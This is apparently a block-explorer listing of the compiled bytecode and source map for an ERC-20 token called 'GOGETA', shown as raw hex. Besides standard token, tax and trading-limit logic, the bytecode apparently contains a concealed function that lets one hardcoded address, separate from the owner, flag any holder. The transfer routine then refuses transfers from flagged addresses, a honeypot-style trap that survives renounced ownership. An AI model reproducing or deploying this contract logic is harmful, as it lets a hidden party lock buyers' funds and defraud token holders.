b60008060408385031215611d8757611d86611cd7565b5b6000611d9585828601611d25565b9250506020611da685828601611d5b565b9150509250929050565b60008115159050919050565b611dc581611db0565b82525050565b6000602082019050611de06000830184611dbc565b92915050565b611def81611d3a565b82525050565b6000602082019050611e0a6000830184611de6565b92915050565b600080600060608486031215611e2957611e28611cd7565b5b6000611e3786828701611d25565b9350506020611e4886828701611d25565b9250506040611e5986828701611d5b565b9150509250925092565b600060ff82169050919050565b611e7981611e63565b82525050565b6000602082019050611e946000830184611e70565b92915050565b600060208284031215611eb057611eaf611cd7565b5b6000611ebe84828501611d25565b91505092915050565b611ed081611cfc565b82525050565b6000602082019050611eeb6000830184611ec7565b92915050565b60008060408385031215611f0857611f07611cd7565b5b6000611f1685828601611d25565b9250506020611f2785828601611d25565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115611fb757808604811115611f9357611f92611f31565b5b6001851615611fa25780820291505b8081029050611fb085611f60565b9450611f77565b94509492505050565b600082611fd0576001905061208c565b81611fde576000905061208c565b8160018114611ff45760028114611ffe5761202d565b600191505061208c565b60ff8411156120105761200f611f31565b5b8360020a91508482111561202757612026611f31565b5b5061208c565b5060208310610133831016604e8410600b84101617156120625782820a90508381111561205d5761205c611f31565b5b61208c565b61206f8484846001611f6d565b9250905081840481111561208657612085611f31565b5b81810290505b9392505050565b600061209e82611d3a565b91506120a983611e63565b92506120d67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611fc0565b905092915050565b60006120e982611d3a565b91506120f483611d3a565b925082820261210281611d3a565b9150828204841483151761211957612118611f31565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612156602083611c30565b915061216182612120565b602082019050919050565b6000602082019050818103600083015261218581612149565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006121c2601783611c30565b91506121cd8261218c565b602082019050919050565b600060208201905081810360008301526121f1816121b5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612254602483611c30565b915061225f826121f8565b604082019050919050565b6000602082019050818103600083015261228381612247565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006122e6602283611c30565b91506122f18261228a565b604082019050919050565b60006020820190508181036000830152612315816122d9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612378602583611c30565b91506123838261231c565b604082019050919050565b600060208201905081810360008301526123a78161236b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061240a602383611c30565b9150612415826123ae565b604082019050919050565b60006020820190508181036000830152612439816123fd565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061249c602983611c30565b91506124a782612440565b604082019050919050565b600060208201905081810360008301526124cb8161248f565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b6000612554604983611c30565b915061255f826124d2565b606082019050919050565b6000602082019050818103600083015261258381612547565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006125c0601983611c30565b91506125cb8261258a565b602082019050919050565b600060208201905081810360008301526125ef816125b3565b9050919050565b600061260182611d3a565b915061260c83611d3a565b925082820190508082111561262457612623611f31565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000612660601a83611c30565b915061266b8261262a565b602082019050919050565b6000602082019050818103600083015261268f81612653565b9050919050565b60006126a182611d3a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036126d3576126d2611f31565b5b600182019050919050565b60006126e982611d3a565b91506126f483611d3a565b925082820390508181111561270c5761270b611f31565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061277f81611d0e565b92915050565b60006020828403121561279b5761279a611cd7565b5b60006127a984828501612770565b91505092915050565b6000819050919050565b6000819050919050565b60006127e16127dc6127d7846127b2565b6127bc565b611d3a565b9050919050565b6127f1816127c6565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61282c81611cfc565b82525050565b600061283e8383612823565b60208301905092915050565b6000602082019050919050565b6000612862826127f7565b61286c8185612802565b935061287783612813565b8060005b838110156128a857815161288f8882612832565b975061289a8361284a565b92505060018101905061287b565b5085935050505092915050565b600060a0820190506128ca6000830188611de6565b6128d760208301876127e8565b81810360408301526128e98186612857565b90506128f86060830185611ec7565b6129056080830184611de6565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061294982611d3a565b915061295483611d3a565b9250826129645761296361290f565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006129cb602183611c30565b91506129d68261296f565b604082019050919050565b600060208201905081810360008301526129fa816129be565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a37601b83611c30565b9150612a4282612a01565b602082019050919050565b60006020820190508181036000830152612a6681612a2a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122023df5ace98e29e7316eeb17df65df8b66e1c730ba418331e2c38130f891be0e364736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101235760003560e01c80637d1db4a5116100a0578063a9059cbb11610064578063a9059cbb146103c0578063bf474bed146103fd578063c876d0b914610428578063c9567bf914610453578063dd62ed3e1461046a5761012a565b80637d1db4a5146102fd5780638da5cb5b146103285780638f9a55c01461035357806395d89b411461037e578063a1780c18146103a95761012a565b8063313ce567116100e7578063313ce5671461022a578063326481ff1461025557806370a0823114610292578063715018a6146102cf578063751039fc146102e65761012a565b806306fdde031461012f578063095ea7b31461015a5780630faee56f1461019757806318160ddd146101c257806323b872dd146101ed5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b506101446104a7565b6040516101519190611cb5565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190611d70565b6104e4565b60405161018e9190611dcb565b60405180910390f35b3480156101a357600080fd5b506101ac610502565b6040516101b99190611df5565b60405180910390f35b3480156101ce57600080fd5b506101d7610508565b6040516101e49190611df5565b60405180910390f35b3480156101f957600080fd5b50610214600480360381019061020f9190611e10565b61052d565b6040516102219190611dcb565b60405180910390f35b34801561023657600080fd5b5061023f610606565b60405161024c9190611e7f565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190611d70565b61060f565b6040516102899190611dcb565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b49190611e9a565b6106a7565b6040516102c69190611df5565b60405180910390f35b3480156102db57600080fd5b506102e46106f0565b005b3480156102f257600080fd5b506102fb610843565b005b34801561030957600080fd5b506103126108fc565b60405161031f9190611df5565b60405180910390f35b34801561033457600080fd5b5061033d610902565b60405161034a9190611ed6565b60405180910390f35b34801561035f57600080fd5b5061036861092b565b6040516103759190611df5565b60405180910390f35b34801561038a57600080fd5b50610393610931565b6040516103a09190611cb5565b60405180910390f35b3480156103b557600080fd5b506103be61096e565b005b3480156103cc57600080fd5b506103e760048036038101906103e29190611d70565b610a12565b6040516103f49190611dcb565b60405180910390f35b34801561040957600080fd5b50610412610a30565b60405161041f9190611df5565b60405180910390f35b34801561043457600080fd5b5061043d610a36565b60405161044a9190611dcb565b60405180910390f35b34801561045f57600080fd5b50610468610a49565b005b34801561047657600080fd5b50610491600480360381019061048c9190611ef1565b610b08565b60405161049e9190611df5565b60405180910390f35b60606040518060400160405280600681526020017f474f474554410000000000000000000000000000000000000000000000000000815250905090565b60006104f86104f1610b8f565b8484610b97565b6001905092915050565b60125481565b60006012600a6105189190612093565b64014b230ce361052891906120de565b905090565b600061053a848484610d60565b6105fb84610546610b8f565b6105f685604051806060016040528060288152602001612a6e60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ac610b8f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f49092919063ffffffff16565b610b97565b600190509392505050565b60006012905090565b6000732a527e087e0b6ec7c32f54d29483abc7e7bbd6c53373ffffffffffffffffffffffffffffffffffffffff160361069d5760008211600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6000905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106f8610b8f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610785576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077c9061216c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6012600a6108519190612093565b64014b230ce361086191906120de565b600f819055506012600a6108759190612093565b64014b230ce361088591906120de565b6010819055506000600660006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012600a6108d59190612093565b64014b230ce36108e591906120de565b6040516108f29190611df5565b60405180910390a1565b600f5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600681526020017f474f474554410000000000000000000000000000000000000000000000000000815250905090565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109af610b8f565b73ffffffffffffffffffffffffffffffffffffffff16146109cf57600080fd5b60006109da306106a7565b905060008111156109ef576109ee81611758565b5b60004790506729a2241af62c0000811115610a0e57610a0d816119d1565b5b5050565b6000610a26610a1f610b8f565b8484610d60565b6001905092915050565b60115481565b600660009054906101000a900460ff1681565b60148054906101000a900460ff1615610a97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8e906121d8565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016014806101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfd9061226a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6c906122fc565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d539190611df5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc69061238e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3590612420565b60405180910390fd5b60008111610e81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e78906124b2565b60405180910390fd5b6000610e8b610902565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610ef95750610ec9610902565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561144157610f3a6064610f2c600b54600e5411610f1957600754610f1d565b6009545b85611a3d90919063ffffffff16565b611ab790919063ffffffff16565b9050600660009054906101000a900460ff16156110c957601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610ffd5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156110c85743600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611083576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107a9061256a565b60405180910390fd5b43600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111745750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111ca5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561128557600f54821115611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120b906125d6565b60405180910390fd5b60105482611221856106a7565b61122b91906125f6565b111561126c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126390612676565b60405180910390fd5b600e600081548092919061127f90612696565b91905055505b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561130e57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156113525761134f6064611341600c54600e541161132e57600854611332565b600a545b85611a3d90919063ffffffff16565b611ab790919063ffffffff16565b90505b600061135d306106a7565b9050601460159054906101000a900460ff161580156113c95750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156113e15750601460169054906101000a900460ff165b80156113ee575060115481115b80156113fd5750600d54600e54115b1561143f5761141f61141a8461141584601254611b01565b611b01565b611758565b600047905066b1a2bc2ec5000081111561143d5761143c476119d1565b5b505b505b600081111561153b57600090506114a081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1a90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561153a57600080fd5b5b61158d82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116346115e68284611b7890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1a90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6116d98486611b7890919063ffffffff16565b6040516116e69190611df5565b60405180910390a350505050565b600083831115829061173c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117339190611cb5565b60405180910390fd5b506000838561174b91906126de565b9050809150509392505050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156117905761178f612712565b5b6040519080825280602002602001820160405280156117be5781602001602082028036833780820191505090505b50905030816000815181106117d6576117d5612741565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561187d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118a19190612785565b816001815181106118b5576118b4612741565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061191c30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610b97565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016119809594939291906128b5565b600060405180830381600087803b15801561199a57600080fd5b505af11580156119ae573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611a39573d6000803e3d6000fd5b5050565b6000808303611a4f5760009050611ab1565b60008284611a5d91906120de565b9050828482611a6c919061293e565b14611aac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa3906129e1565b60405180910390fd5b809150505b92915050565b6000611af983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bc2565b905092915050565b6000818311611b105782611b12565b815b905092915050565b6000808284611b2991906125f6565b905083811015611b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6590612a4d565b60405180910390fd5b8091505092915050565b6000611bba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116f4565b905092915050565b60008083118290611c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c009190611cb5565b60405180910390fd5b5060008385611c18919061293e565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611c5f578082015181840152602081019050611c44565b60008484015250505050565b6000601f19601f8301169050919050565b6000611c8782611c25565b611c918185611c30565b9350611ca1818560208601611c41565b611caa81611c6b565b840191505092915050565b60006020820190508181036000830152611ccf8184611c7c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d0782611cdc565b9050919050565b611d1781611cfc565b8114611d2257600080fd5b50565b600081359050611d3481611d0e565b92915050565b6000819050919050565b611d4d81611d3a565b8114611d5857600080fd5b50565b600081359050611d6a81611d44565b92915050565b60008060408385031215611d8757611d86611cd7565b5b6000611d9585828601611d25565b9250506020611da685828601611d5b565b9150509250929050565b60008115159050919050565b611dc581611db0565b82525050565b6000602082019050611de06000830184611dbc565b92915050565b611def81611d3a565b82525050565b6000602082019050611e0a6000830184611de6565b92915050565b600080600060608486031215611e2957611e28611cd7565b5b6000611e3786828701611d25565b9350506020611e4886828701611d25565b9250506040611e5986828701611d5b565b9150509250925092565b600060ff82169050919050565b611e7981611e63565b82525050565b6000602082019050611e946000830184611e70565b92915050565b600060208284031215611eb057611eaf611cd7565b5b6000611ebe84828501611d25565b91505092915050565b611ed081611cfc565b82525050565b6000602082019050611eeb6000830184611ec7565b92915050565b60008060408385031215611f0857611f07611cd7565b5b6000611f1685828601611d25565b9250506020611f2785828601611d25565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115611fb757808604811115611f9357611f92611f31565b5b6001851615611fa25780820291505b8081029050611fb085611f60565b9450611f77565b94509492505050565b600082611fd0576001905061208c565b81611fde576000905061208c565b8160018114611ff45760028114611ffe5761202d565b600191505061208c565b60ff8411156120105761200f611f31565b5b8360020a91508482111561202757612026611f31565b5b5061208c565b5060208310610133831016604e8410600b84101617156120625782820a90508381111561205d5761205c611f31565b5b61208c565b61206f8484846001611f6d565b9250905081840481111561208657612085611f31565b5b81810290505b9392505050565b600061209e82611d3a565b91506120a983611e63565b92506120d67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611fc0565b905092915050565b60006120e982611d3a565b91506120f483611d3a565b925082820261210281611d3a565b9150828204841483151761211957612118611f31565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612156602083611c30565b915061216182612120565b602082019050919050565b6000602082019050818103600083015261218581612149565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006121c2601783611c30565b91506121cd8261218c565b602082019050919050565b600060208201905081810360008301526121f1816121b5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612254602483611c30565b915061225f826121f8565b604082019050919050565b6000602082019050818103600083015261228381612247565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006122e6602283611c30565b91506122f18261228a565b604082019050919050565b60006020820190508181036000830152612315816122d9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612378602583611c30565b91506123838261231c565b604082019050919050565b600060208201905081810360008301526123a78161236b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061240a602383611c30565b9150612415826123ae565b604082019050919050565b60006020820190508181036000830152612439816123fd565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061249c602983611c30565b91506124a782612440565b604082019050919050565b600060208201905081810360008301526124cb8161248f565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b6000612554604983611c30565b915061255f826124d2565b606082019050919050565b6000602082019050818103600083015261258381612547565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006125c0601983611c30565b91506125cb8261258a565b602082019050919050565b600060208201905081810360008301526125ef816125b3565b9050919050565b600061260182611d3a565b915061260c83611d3a565b925082820190508082111561262457612623611f31565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000612660601a83611c30565b915061266b8261262a565b602082019050919050565b6000602082019050818103600083015261268f81612653565b9050919050565b60006126a182611d3a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036126d3576126d2611f31565b5b600182019050919050565b60006126e982611d3a565b91506126f483611d3a565b925082820390508181111561270c5761270b611f31565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061277f81611d0e565b92915050565b60006020828403121561279b5761279a611cd7565b5b60006127a984828501612770565b91505092915050565b6000819050919050565b6000819050919050565b60006127e16127dc6127d7846127b2565b6127bc565b611d3a565b9050919050565b6127f1816127c6565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61282c81611cfc565b82525050565b600061283e8383612823565b60208301905092915050565b6000602082019050919050565b6000612862826127f7565b61286c8185612802565b935061287783612813565b8060005b838110156128a857815161288f8882612832565b975061289a8361284a565b92505060018101905061287b565b5085935050505092915050565b600060a0820190506128ca6000830188611de6565b6128d760208301876127e8565b81810360408301526128e98186612857565b90506128f86060830185611ec7565b6129056080830184611de6565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061294982611d3a565b915061295483611d3a565b9250826129645761296361290f565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006129cb602183611c30565b91506129d68261296f565b604082019050919050565b600060208201905081810360008301526129fa816129be565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a37601b83611c30565b9150612a4282612a01565b602082019050919050565b60006020820190508181036000830152612a6681612a2a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122023df5ace98e29e7316eeb17df65df8b66e1c730ba418331e2c38130f891be0e364736f6c63430008130033
Deployed Bytecode Sourcemap
3649:7861:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5647:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6480:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4875:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5924:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6649:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5833:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10879:250;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6027:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2661:148;;;;;;;;;;;;;:::i;:::-;;10325:185;;;;;;;;;;;;;:::i;:::-;;4683:55;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2447:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4745:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5738:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11137:370;;;;;;;;;;;;;:::i;:::-;;6154:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4810:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4046:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10618:216;;;;;;;;;;;;;:::i;:::-;;6329:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5647:83;5684:13;5717:5;;;;;;;;;;;;;;;;;5710:12;;5647:83;:::o;6480:161::-;6555:4;6572:39;6581:12;:10;:12::i;:::-;6595:7;6604:6;6572:8;:39::i;:::-;6629:4;6622:11;;6480:161;;;;:::o;4875:52::-;;;;:::o;5924:95::-;5977:7;4606:2;4663;:13;;;;:::i;:::-;4650:10;:26;;;;:::i;:::-;5997:14;;5924:95;:::o;6649:313::-;6747:4;6764:36;6774:6;6782:9;6793:6;6764:9;:36::i;:::-;6811:121;6820:6;6828:12;:10;:12::i;:::-;6842:89;6880:6;6842:89;;;;;;;;;;;;;;;;;:11;:19;6854:6;6842:19;;;;;;;;;;;;;;;:33;6862:12;:10;:12::i;:::-;6842:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6811:8;:121::i;:::-;6950:4;6943:11;;6649:313;;;;;:::o;5833:83::-;5874:5;4606:2;5892:16;;5833:83;:::o;10879:250::-;10950:4;10994:48;10979:10;10971:71;;;10967:132;;11086:1;11078:5;:9;11059:10;:16;11070:4;11059:16;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;10967:132;11116:5;11109:12;;10879:250;;;;:::o;6027:119::-;6093:7;6120:9;:18;6130:7;6120:18;;;;;;;;;;;;;;;;6113:25;;6027:119;;;:::o;2661:148::-;2584:12;:10;:12::i;:::-;2574:22;;:6;;;;;;;;;;:22;;;2566:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2768:1:::1;2731:40;;2752:6;::::0;::::1;;;;;;;;2731:40;;;;;;;;;;;;2799:1;2782:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2661:148::o:0;10325:185::-;4606:2;4663;:13;;;;:::i;:::-;4650:10;:26;;;;:::i;:::-;10367:12;:22;;;;4606:2;4663;:13;;;;:::i;:::-;4650:10;:26;;;;:::i;:::-;10400:14;:22;;;;10454:5;10433:20;;:26;;;;;;;;;;;;;;;;;;10475:27;4606:2;4663;:13;;;;:::i;:::-;4650:10;:26;;;;:::i;:::-;10475:27;;;;;;:::i;:::-;;;